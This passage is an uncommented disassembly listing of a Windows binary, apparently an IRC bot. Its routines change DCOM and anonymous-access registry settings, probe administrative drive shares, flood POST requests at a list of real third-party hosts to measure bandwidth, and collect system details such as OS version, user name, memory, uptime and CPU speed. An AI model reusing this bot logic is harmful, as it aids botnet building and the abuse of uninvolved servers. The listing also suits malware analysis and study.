= dword ptr -20h var_14 = byte ptr -14h Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAA4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A775 mov ax, word_4392DC mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A757 push offset dword_43A938 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset asc_43A91C ; "-" loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+Dest] push offset asc_43A770 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A811 lea eax, [ebp+Str] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], ebx call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A7F3 push offset dword_43A8DC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset asc_43A8A4 ; "-" loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A868 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset asc_43A680 ; "-" loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+Dest] push eax call sub_415D38 cmp dword_4CBACC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A548 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] ; int push dword ptr [esi] ; Str push ebx ; int call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A848 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset asc_43A820 ; "-" loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+Dest] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A558 jb short loc_41A86E call ds:dword_427198 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA34 ; GetDriveTypeA cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+var_14] push eax ; Str push 0 ; int call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A848 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset asc_43A820 ; "-" loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+Dest] push offset asc_43A7F0 ; "-" push eax ; Dest call _sprintf pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+Dest] push offset asc_43A588 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call _rand cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41AA1E(char *Str) sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h Dst = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch Source = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+Str] ; Str call _strlen mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset push [ebp+Str] mov [ebp+Dst], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+Dst] push 10h push ecx push eax call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) mov edi, ds:dword_4270B0 mov ebx, eax pop ecx mov [ebp+Source], ebx call edi ; GetTickCount push eax ; Size call sub_41C2B8 call _rand cdq idiv esi mov [esp+38h+var_38], 32001h push 0 ; Val push ebx ; Dst movsx esi, dl call _memset push 32000h ; Size push esi ; Val push ebx ; Dst call _memset push ebx ; Str call _strlen push 323EAh ; unsigned int mov ebx, eax call ??2@YAPAXI@Z ; operator new(uint) add esp, 20h mov esi, eax push ebx push [ebp+Str] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi ; Dest call _sprintf push [ebp+Source] ; Source push esi ; Dest call _strcat push offset asc_4349EC ; "\r\n" push esi ; Dest call _strcat push esi ; Str call _strlen mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+Str], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+Str] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+Str], ebx sub [ebp+var_C], ebx mov eax, [ebp+Str] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul ds:flt_4276F4 fst [ebp+Str] fcomp ds:flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp [ebp+Str] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+Source] call sub_41BA91 push esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+Str] fmul ds:flt_4276EC fmul ds:flt_4276E8 call __ftol loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+Source] call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41ABFB(int,char *Str,int) sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep Dest = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] ; Str call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] ; Str call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] ; Str call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] ; Str call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] ; Str call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] ; Str call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+Dest] push offset asc_43A990 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_4270B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset byte_4DBC90 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_4270D0 ; GetVersionExA test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_427080 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call __aulldiv mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call __aullrem mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h FullPath = byte ptr -4E8h var_3E4 = byte ptr -3E4h Dest = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h Dst = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Drive = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB88 mov [ebp+var_CC], 94h call ds:dword_4270D0 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset a95 ; "95" loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset a98 ; "98" jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+Dest] push [ebp+var_4] push offset aSS_5 ; "%s (%s)" push eax ; Dest call _sprintf lea eax, [ebp+Dest] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383AC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C ; gethostbyaddr cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+FullPath] pop ecx push 104h push eax call ds:dword_42707C ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_427110 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_42710C ; GetTimeFormatA push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push eax call ds:dword_42719C ; GlobalMemoryStatus push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath lea eax, [ebp+Drive] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+FullPath] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset asc_43AB9C ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p Dst = byte ptr -8Ch var_C = byte ptr -0Ch Dest = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch cmp dword_4CBABC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+Dst] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB898 ; InternetGetConnectedStateEx test eax, eax jnz short loc_41B298 lea eax, [ebp+Dst] push offset aNotConnected ; "Not connected" push eax ; Dest call _sprintf pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset aDialUp ; "Dial-up" jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset dword_43ACE4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+Dest] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: 